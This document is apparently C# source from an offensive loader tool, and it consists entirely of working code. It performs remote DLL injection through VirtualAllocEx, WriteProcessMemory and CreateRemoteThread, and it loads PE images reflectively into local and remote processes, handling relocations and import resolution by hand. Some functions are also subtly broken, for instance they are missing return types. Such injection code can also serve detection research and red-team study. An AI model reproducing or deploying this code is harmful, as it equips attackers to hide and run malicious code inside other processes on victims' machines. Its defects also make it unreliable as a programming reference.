public IntPtr LoadLibraryRemote(string library) { //////////////////////////////////////////////////////////////////////////////// IntPtr hmodule = Unmanaged.GetModuleHandle("kernel32.dll"); IntPtr loadLibraryAddr = Unmanaged.GetProcAddress(hmodule, "LoadLibraryA"); //////////////////////////////////////////////////////////////////////////////// IntPtr lpAddress = IntPtr.Zero; UInt32 dwSize = (UInt32)((library.Length + 1) * Marshal.SizeOf(typeof(char))); IntPtr lpBaseAddress = Unmanaged.VirtualAllocEx(hProcess, lpAddress, dwSize, Unmanaged.MEM_COMMIT | Unmanaged.MEM_RESERVE, Unmanaged.PAGE_READWRITE); //////////////////////////////////////////////////////////////////////////////// UInt32 lpNumberOfBytesWritten = 0; IntPtr libraryPtr = Marshal.StringToHGlobalAnsi(library); Boolean writeProcessMemoryResult = Unmanaged.WriteProcessMemory(hProcess, lpBaseAddress, libraryPtr, dwSize, ref lpNumberOfBytesWritten); //////////////////////////////////////////////////////////////////////////////// UInt32 lpflOldProtect = 0; Boolean virtualProtectExResult = Unmanaged.VirtualProtectEx(hProcess, lpBaseAddress, dwSize, Unmanaged.PAGE_EXECUTE_READ, ref lpflOldProtect); //////////////////////////////////////////////////////////////////////////////// IntPtr lpThreadAttributes = IntPtr.Zero; UInt32 dwStackSize = 0; IntPtr lpParameter = IntPtr.Zero; UInt32 dwCreationFlags = 0; UInt32 threadId = 0; IntPtr hThread = Unmanaged.CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, loadLibraryAddr, lpBaseAddress, dwCreationFlags, ref threadId); return(hThread); }
public InjectDllRemote(string library, UInt32 processId) { //////////////////////////////////////////////////////////////////////////////// WriteOutput("Attempting to get handle on " + processId); IntPtr hProcess = Unmanaged.OpenProcess(Unmanaged.PROCESS_CREATE_THREAD | Unmanaged.PROCESS_QUERY_INFORMATION | Unmanaged.PROCESS_VM_OPERATION | Unmanaged.PROCESS_VM_WRITE | Unmanaged.PROCESS_VM_READ, false, processId); WriteOutput("Handle: " + hProcess); IntPtr hmodule = Unmanaged.GetModuleHandle("kernel32.dll"); IntPtr loadLibraryAddr = Unmanaged.GetProcAddress(hmodule, "LoadLibraryA"); //////////////////////////////////////////////////////////////////////////////// IntPtr lpAddress = IntPtr.Zero; UInt32 dwSize = (UInt32)((library.Length + 1) * Marshal.SizeOf(typeof(char))); WriteOutputNeutral("Attempting to allocate memory"); IntPtr lpBaseAddress = Unmanaged.VirtualAllocEx(hProcess, lpAddress, dwSize, Unmanaged.MEM_COMMIT | Unmanaged.MEM_RESERVE, Unmanaged.PAGE_READWRITE); WriteOutputGood("Allocated " + dwSize + " bytes at " + lpBaseAddress.ToString("X4")); WriteOutputGood("Memory Protection Set to PAGE_READWRITE"); //////////////////////////////////////////////////////////////////////////////// UInt32 lpNumberOfBytesWritten = 0; IntPtr libraryPtr = Marshal.StringToHGlobalAnsi(library); WriteOutputNeutral("Attempting to write process memory"); Boolean writeProcessMemoryResult = Unmanaged.WriteProcessMemory(hProcess, lpBaseAddress, libraryPtr, dwSize, ref lpNumberOfBytesWritten); WriteOutputGood("Wrote " + dwSize + " bytes"); //////////////////////////////////////////////////////////////////////////////// UInt32 lpflOldProtect = 0; WriteOutputNeutral("Attempting to Alter Memory Protections to PAGE_EXECUTE_READ"); Boolean virtualProtectExResult = Unmanaged.VirtualProtectEx(hProcess, lpBaseAddress, dwSize, Unmanaged.PAGE_EXECUTE_READ, ref lpflOldProtect); WriteOutputGood("Set Memory Protection to PAGE_EXECUTE_READ"); //////////////////////////////////////////////////////////////////////////////// IntPtr lpThreadAttributes = IntPtr.Zero; UInt32 dwStackSize = 0; IntPtr lpParameter = IntPtr.Zero; UInt32 dwCreationFlags = 0; UInt32 threadId = 0; WriteOutputNeutral("Attempting to start remote thread"); IntPtr hThread = Unmanaged.CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, loadLibraryAddr, lpBaseAddress, dwCreationFlags, ref threadId); WriteOutputGood("Started Thread: " + hThread); /////////////////////////////////////////////////////////////////////////////// Unmanaged.WaitForSingleObjectEx(hProcess, hThread, 0xFFFFFFFF); }
public InjectPE(PELoader peLoader, string parameters) { //////////////////////////////////////////////////////////////////////////////// IntPtr lpAddress = IntPtr.Zero; UInt32 dwSize = peLoader.sizeOfImage; IntPtr lpBaseAddress = Unmanaged.VirtualAlloc(lpAddress, dwSize, Unmanaged.MEM_COMMIT, Unmanaged.PAGE_EXECUTE_READWRITE); WriteOutputGood("Allocated Space For " + peLoader.sizeOfImage.ToString("X4") + " at " + lpBaseAddress.ToString("X4")); //////////////////////////////////////////////////////////////////////////////// for (Int32 i = 0; i < peLoader.imageFileHeader.NumberOfSections; i++) { IntPtr lpBaseAddressSection = new IntPtr(lpBaseAddress.ToInt32() + peLoader.imageSectionHeaders[i].VirtualAddress); UInt32 dwSizeSection = peLoader.imageSectionHeaders[i].SizeOfRawData; IntPtr lpAllocatedAddress = Unmanaged.VirtualAlloc(lpBaseAddressSection, dwSizeSection, Unmanaged.MEM_COMMIT, Unmanaged.PAGE_EXECUTE_READWRITE); Marshal.Copy(peLoader.imageBytes, (Int32)peLoader.imageSectionHeaders[i].PointerToRawData, lpAllocatedAddress, (Int32)peLoader.imageSectionHeaders[i].SizeOfRawData); Console.WriteLine("Copied " + peLoader.imageSectionHeaders[i].Name + " to " + lpAllocatedAddress.ToString("X4")); } //////////////////////////////////////////////////////////////////////////////// IntPtr relocationTable = new IntPtr(lpBaseAddress.ToInt32() + peLoader.baseRelocationTableAddress); Structs.IMAGE_BASE_RELOCATION relocationEntry = (Structs.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(Structs.IMAGE_BASE_RELOCATION)); Int32 sizeOfRelocationStruct = Marshal.SizeOf(typeof(Structs.IMAGE_BASE_RELOCATION)); Int32 sizeofNextBlock = (Int32)relocationEntry.SizeOfBlock; IntPtr offset = relocationTable; //////////////////////////////////////////////////////////////////////////////// while (true) { Structs.IMAGE_BASE_RELOCATION relocationNextEntry = new Structs.IMAGE_BASE_RELOCATION(); IntPtr lpNextRelocationEntry = new IntPtr(relocationTable.ToInt32() + (Int32)sizeofNextBlock); relocationNextEntry = (Structs.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(lpNextRelocationEntry, typeof(Structs.IMAGE_BASE_RELOCATION)); IntPtr destinationAddress = new IntPtr(lpBaseAddress.ToInt32() + (Int32)relocationEntry.VirtualAdress); //////////////////////////////////////////////////////////////////////////////// for (Int32 i = 0; i < (Int32)((relocationEntry.SizeOfBlock - sizeOfRelocationStruct) / 2); i++) { UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); UInt16 type = (UInt16)(value >> 12); UInt16 fixup = (UInt16)(value & 0xfff); switch (type) { case 0x0: break; case 0xA: if (peLoader.is64Bit) { IntPtr patchAddress = new IntPtr(destinationAddress.ToInt64() + (Int32)fixup); Int64 originalAddress = Marshal.ReadInt64(patchAddress); Int64 delta64 = (Int64)(lpBaseAddress.ToInt64() - (Int64)peLoader.imageOptionalHeader64.ImageBase); Marshal.WriteInt64(patchAddress, originalAddress + delta64); } else { IntPtr patchAddress = new IntPtr(destinationAddress.ToInt32() + (Int32)fixup); Int32 originalAddress = Marshal.ReadInt32(patchAddress); Int32 delta32 = (Int32)(lpBaseAddress.ToInt32() - (Int32)peLoader.imageOptionalHeader32.ImageBase); Marshal.WriteInt32(patchAddress, originalAddress + delta32); } break; } } offset = new IntPtr(relocationTable.ToInt32() + (int)sizeofNextBlock); sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; relocationEntry = relocationNextEntry; //"The last entry is set to zero (NULL) to indicate the end of the table." - cool if (0 == relocationNextEntry.SizeOfBlock) { break; } } //////////////////////////////////////////////////////////////////////////////// //http://sandsprite.com/CodeStuff/Understanding_imports.html //////////////////////////////////////////////////////////////////////////////// Int32 sizeOfStruct = Marshal.SizeOf(typeof(Structs._IMAGE_IMPORT_DIRECTORY)); Int32 multiplier = 0; while (true) { Int32 dwImportTableAddressOffset = ((sizeOfStruct * multiplier++) + peLoader.importTableAddress); IntPtr lpImportAddressTable = new IntPtr(lpBaseAddress.ToInt32() + dwImportTableAddressOffset); Structs._IMAGE_IMPORT_DIRECTORY imageImportDirectory = (Structs._IMAGE_IMPORT_DIRECTORY)Marshal.PtrToStructure(lpImportAddressTable, typeof(Structs._IMAGE_IMPORT_DIRECTORY)); if (0 == imageImportDirectory.RvaImportAddressTable) { break; } //////////////////////////////////////////////////////////////////////////////// IntPtr dllNamePTR = new IntPtr(lpBaseAddress.ToInt32() + imageImportDirectory.RvaModuleName); string dllName = Marshal.PtrToStringAnsi(dllNamePTR); IntPtr hModule = Unmanaged.LoadLibrary(dllName); WriteOutputGood("Loaded " + dllName + " at " + hModule.ToString("X4")); //////////////////////////////////////////////////////////////////////////////// IntPtr lpRvaImportAddressTable = new IntPtr(lpBaseAddress.ToInt32() + imageImportDirectory.RvaImportAddressTable); while (true) { Int32 dwRvaImportAddressTable = Marshal.ReadInt32(lpRvaImportAddressTable); if (0 == dwRvaImportAddressTable) { break; } else { IntPtr lpDllFunctionName = (new IntPtr(lpBaseAddress.ToInt32() + dwRvaImportAddressTable + 2)); string dllFunctionName = Marshal.PtrToStringAnsi(lpDllFunctionName); IntPtr functionAddress = Unmanaged.GetProcAddress(hModule, dllFunctionName); Marshal.WriteInt64(lpRvaImportAddressTable, (Int64)functionAddress); lpRvaImportAddressTable = new IntPtr(lpRvaImportAddressTable.ToInt32() + 8); } } } //////////////////////////////////////////////////////////////////////////////// string parameter = ""; IntPtr lpThreadAttributes = IntPtr.Zero; UInt32 dwStackSize = 0; Int32 dwStartAddress = lpBaseAddress.ToInt32() + peLoader.addressOfEntryPoint; IntPtr lpStartAddress = new IntPtr(dwStartAddress); IntPtr lpParameter = new IntPtr(Convert.ToInt32(parameter)); UInt32 dwCreationFlags = 0; UInt32 lpThreadId = 0; IntPtr hThread = Unmanaged.CreateThread(lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, ref lpThreadId); WriteOutputGood("Created thread " + hThread); //////////////////////////////////////////////////////////////////////////////// Unmanaged.WaitForSingleObject(hThread, 0xFFFFFFFF); }
public void execute() { //////////////////////////////////////////////////////////////////////////////// IntPtr lpBaseAddress = VirtualAllocExChecked(new IntPtr(0), peLoader.sizeOfImage); WriteOutputNeutral("Iterating through " + peLoader.imageFileHeader.NumberOfSections + " Headers"); //////////////////////////////////////////////////////////////////////////////// for (Int32 i = 0; i < peLoader.imageFileHeader.NumberOfSections; i++) { IntPtr lpBaseAddressSection = new IntPtr(lpBaseAddress.ToInt64() + peLoader.imageSectionHeaders[i].VirtualAddress); GCHandle pinnedArray = GCHandle.Alloc(peLoader.imageBytes, GCHandleType.Pinned); IntPtr imageBytesPtr = new IntPtr((Int64)pinnedArray.AddrOfPinnedObject() + peLoader.imageSectionHeaders[i].PointerToRawData); UInt32 dwSizeSection = peLoader.imageSectionHeaders[i].SizeOfRawData; string sectionName = new string(peLoader.imageSectionHeaders[i].Name); WriteProcessMemoryChecked(lpBaseAddressSection, imageBytesPtr, dwSizeSection, sectionName); } //////////////////////////////////////////////////////////////////////////////// IntPtr lpRelocationTable = new IntPtr(lpBaseAddress.ToInt64() + peLoader.baseRelocationTableAddress); Structs.IMAGE_BASE_RELOCATION relocationEntry = PtrToStructureRemote <Structs.IMAGE_BASE_RELOCATION>(lpRelocationTable); UInt32 imageSizeOfBaseRelocation = (UInt32)Marshal.SizeOf(typeof(Structs.IMAGE_BASE_RELOCATION)); Int32 sizeofNextBlock = (Int32)relocationEntry.SizeOfBlock; IntPtr offset = lpRelocationTable; //////////////////////////////////////////////////////////////////////////////// while (true) { IntPtr lpNextRelocationEntry = new IntPtr(lpRelocationTable.ToInt64() + (Int64)sizeofNextBlock); Structs.IMAGE_BASE_RELOCATION relocationNextEntry = PtrToStructureRemote <Structs.IMAGE_BASE_RELOCATION>(lpNextRelocationEntry); IntPtr destinationAddress = new IntPtr(lpBaseAddress.ToInt64() + (Int32)relocationEntry.VirtualAdress); Int32 entries = (Int32)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); //////////////////////////////////////////////////////////////////////////////// // Some magic from subtee //////////////////////////////////////////////////////////////////////////////// for (Int32 i = 0; i < entries; i++) { UInt16 value = (UInt16)ReadInt16Remote(offset, 8 + (2 * i)); UInt16 type = (UInt16)(value >> 12); UInt16 fixup = (UInt16)(value & 0xfff); switch (type) { case 0x0: break; case 0xA: IntPtr lpPatchAddress = new IntPtr(destinationAddress.ToInt64() + (Int32)fixup); Int64 originalAddress = ReadInt64Remote(lpPatchAddress); Int64 delta64 = (Int64)(lpBaseAddress.ToInt64() - (Int64)peLoader.imageOptionalHeader64.ImageBase); IntPtr lpOriginalAddress = new IntPtr(originalAddress + delta64); WriteInt64Remote(lpPatchAddress, originalAddress + delta64); break; } } offset = new IntPtr(lpRelocationTable.ToInt64() + (Int64)sizeofNextBlock); sizeofNextBlock += (Int32)relocationNextEntry.SizeOfBlock; relocationEntry = relocationNextEntry; //"The last entry is set to zero (NULL) to indicate the end of the table." - cool if (0 == relocationNextEntry.SizeOfBlock) { break; } } //////////////////////////////////////////////////////////////////////////////// //http://sandsprite.com/CodeStuff/Understanding_imports.html //////////////////////////////////////////////////////////////////////////////// Int32 sizeOfStruct = Marshal.SizeOf(typeof(Structs._IMAGE_IMPORT_DIRECTORY)); Int32 multiplier = 0; Process localProcess = Process.GetCurrentProcess(); IntPtr lpLocalBaseAddress = localProcess.MainModule.BaseAddress; Process remoteProcess = Process.GetProcessById((Int32)localProcess.Id); IntPtr lpRemoteBaseAddress = remoteProcess.MainModule.BaseAddress; while (true) { Int32 dwImportTableAddressOffset = ((sizeOfStruct * multiplier++) + peLoader.importTableAddress); IntPtr lpImportAddressTable = new IntPtr(lpBaseAddress.ToInt64() + dwImportTableAddressOffset); Structs._IMAGE_IMPORT_DIRECTORY imageImportDirectory = PtrToStructureRemote <Structs._IMAGE_IMPORT_DIRECTORY>(lpImportAddressTable); if (0 == imageImportDirectory.RvaImportAddressTable) { break; } //////////////////////////////////////////////////////////////////////////////// IntPtr dllNamePTR = new IntPtr(lpBaseAddress.ToInt64() + imageImportDirectory.RvaModuleName); string dllName = PtrToStringAnsiRemote(dllNamePTR).Replace("\0", ""); IntPtr lpLocalModuleAddress = Unmanaged.LoadLibrary(dllName); IntPtr lpModuleBaseAddress = LoadLibraryRemote(dllName); WaitForSingleObjectExRemote(lpModuleBaseAddress); WriteOutputGood("Loaded " + dllName); //////////////////////////////////////////////////////////////////////////////// IntPtr lpRvaImportAddressTable = new IntPtr(lpBaseAddress.ToInt64() + imageImportDirectory.RvaImportAddressTable); while (true) { Int32 dwRvaImportAddressTable = PtrToInt32Remote(lpRvaImportAddressTable); if (0 == dwRvaImportAddressTable) { break; } else { IntPtr lpDllFunctionName = (new IntPtr(lpBaseAddress.ToInt64() + dwRvaImportAddressTable + 2)); string dllFunctionName = PtrToStringAnsiRemote(lpDllFunctionName).Replace("\0", ""); IntPtr hModule = Unmanaged.GetModuleHandle(dllName); IntPtr lpLocalFunctionAddress = Unmanaged.GetProcAddress(hModule, dllFunctionName); IntPtr lpRelativeFunctionAddress = new IntPtr(lpLocalFunctionAddress.ToInt64() - lpLocalBaseAddress.ToInt64()); IntPtr lpFunctionAddress = new IntPtr(lpRemoteBaseAddress.ToInt64() + lpRelativeFunctionAddress.ToInt64()); WriteOutputGood("\tLoaded Function " + dllFunctionName); //baseRemote.WriteProcessMemoryUnChecked(lpRvaImportAddressTable, lpFunctionAddress, sizeof(Int64),""); WriteInt64Remote(lpRvaImportAddressTable, (Int64)lpFunctionAddress); lpRvaImportAddressTable = new IntPtr(lpRvaImportAddressTable.ToInt64() + sizeof(Int64)); } } } //////////////////////////////////////////////////////////////////////////////// Int64 dwStartAddress = lpBaseAddress.ToInt64() + peLoader.addressOfEntryPoint; IntPtr lpStartAddress = new IntPtr(dwStartAddress); IntPtr lpParameter = IntPtr.Zero; CreateRemoteThreadChecked(lpStartAddress, lpParameter); }